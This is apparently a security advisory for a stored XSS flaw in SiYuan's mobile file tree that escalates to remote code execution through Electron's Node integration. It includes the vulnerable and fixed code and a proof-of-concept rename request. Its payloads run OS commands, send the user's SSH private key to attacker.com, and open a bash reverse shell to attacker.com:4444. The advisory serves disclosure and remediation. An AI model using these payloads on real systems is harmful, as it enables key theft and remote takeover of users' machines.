SiYuan's mobile file tree (MobileFiles.ts) renders notebook names via innerHTML without HTML escaping when processing renamenotebook WebSocket events. The desktop version (Files.ts) properly uses escapeHtml() for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree.
Since Electron is configured with nodeIntegration: true and contextIsolation: false, the injected JavaScript has full Node.js access, escalating stored XSS to full remote code execution. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well.
app/src/mobile/dock/MobileFiles.ts:77app/src/layout/dock/Files.ts:104 (uses escapeHtml)kernel/api/notebook.go:104-116 (renameNotebook)app/electron/main.js:422-426 (nodeIntegration: true, contextIsolation: false)POST /api/notebook/renameNotebook (authenticated)case "renamenotebook":
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name;
break;
case "renamenotebook":
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);
break;
func renameNotebook(c *gin.Context) {
// ...
name := arg["name"].(string)
err := model.RenameBox(notebook, name)
// ...
evt := util.NewCmdResult("renamenotebook", 0, util.PushModeBroadcast)
evt.Data = map[string]interface{}{
"box": notebook,
"name": name, // Unescaped — sent directly to all clients
}
util.PushEvent(evt)
}
model.RenameBox() only validates length (512 chars max) and emptiness — no HTML sanitization.
webPreferences: {
nodeIntegration: true,
webviewTag: true,
webSecurity: false,
contextIsolation: false,
}
Any JavaScript executed via innerHTML has full access to require('child_process'), require('fs'), require('net'), etc.
Tested and confirmed on SiYuan v3.5.9 (Docker).
POST /api/notebook/renameNotebook HTTP/1.1
Content-Type: application/json
Cookie: siyuan=<session>
{
"notebook": "<NOTEBOOK_ID>",
"name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
}
On Linux/macOS:
{
"notebook": "<NOTEBOOK_ID>",
"name": "<img src=x onerror=\"require('child_process').exec('id > /tmp/pwned')\">"
}
Confirmed: API accepts the name without escaping. The renamenotebook WebSocket event broadcasts the raw HTML to all connected clients.
When any mobile client receives the renamenotebook event, MobileFiles.ts:77 sets innerHTML = data.data.name. The <img> tag's src=x fails to load, triggering onerror which calls require('child_process').exec() — arbitrary OS command execution.
# Unauthenticated WebSocket listener receives:
{
"cmd": "renamenotebook",
"data": {
"box": "20260309161535-do8qg95",
"name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
}
}
The HTML/JS payload is preserved verbatim in the WebSocket event.
{
"notebook": "<NOTEBOOK_ID>",
"name": "<img src=x onerror=\"fetch('https://attacker.com/exfil?k='+require('fs').readFileSync(require('os').homedir()+'/.ssh/id_rsa','utf8'))\">"
}
{
"notebook": "<NOTEBOOK_ID>",
"name": "<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\\"')\">"
}
renamenotebook event broadcasts the payload to ALL connected clientsnodeIntegration: true gives the injected JavaScript full OS accessPersistence: The notebook name is stored in the notebook's .siyuan/conf.json. The payload re-triggers every time the file tree renders on mobile — it survives restarts.
Sync vector: If the workspace is synced (SiYuan Cloud Sync or S3), the malicious notebook name propagates to all synced devices automatically.
nodeIntegration: true// Before (vulnerable):
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name;
// After (fixed):
this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name);
func RenameBox(boxID, name string) (err error) {
name = util.EscapeHTML(name) // Sanitize at the source
// ...
}
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
sandbox: true,
}
{
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T18:47:37Z",
"nvd_published_at": "2026-03-19T22:16:41Z",
"severity": "MODERATE"
}